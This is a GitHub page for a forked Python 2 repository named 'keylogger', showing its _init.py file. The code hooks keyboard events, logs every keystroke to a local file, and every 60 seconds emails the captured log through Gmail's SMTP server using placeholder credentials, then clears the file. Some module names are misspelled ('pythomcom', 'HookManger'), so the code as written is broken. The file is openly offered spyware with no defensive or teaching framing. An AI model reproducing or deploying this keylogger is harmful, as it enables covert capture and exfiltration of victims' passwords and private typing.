forked from AGMadera/keylogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
_init.py
67 lines (50 loc) · 1.67 KB
/
_init.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import pyHook, pythomcom, sys, logging
import time, datetime
wait_seconds = 60
timeout = time.time() + wait_seconds
file_log ='/Desktop/archivo.txt'
def TimeOut():
if time.time() > timeout:
return True
else:
return False
def SendEmail(user, pwd, recipient, subject, body):
import smtplib
gmail = user
gmail_passpwd = pwd
FROM = user
TO = recipient if type(recipient) is list else [recipient]
SUBJECT = subject
TEXT = body
message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(gmail, gmail_passpwd)
server.sendmail(FROM, TO, message)
server.close()
print "Correo enviado satisfactoriamente!"
except:
print 'Error al mandar correo!'
def FormatAndSendLogEmail():
with open(file_log, 'r+') as f:
actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
data = f.read().replace('\n', '')
data = 'Log capturado a las: '+ actualdate + '\n' + data
SendEmail('tucorreo@gmail.com', 'tupass', 'tucorreo@gmail.com','Nuevo log - '+actualdate, data)
f.seek(0)
f.truncate()
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManger()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
while True:
if TimeOut():
FormatAndSendLogEmail()
timeout = time.time() + wait_seconds
pythomcom.PumpWaitingMessages()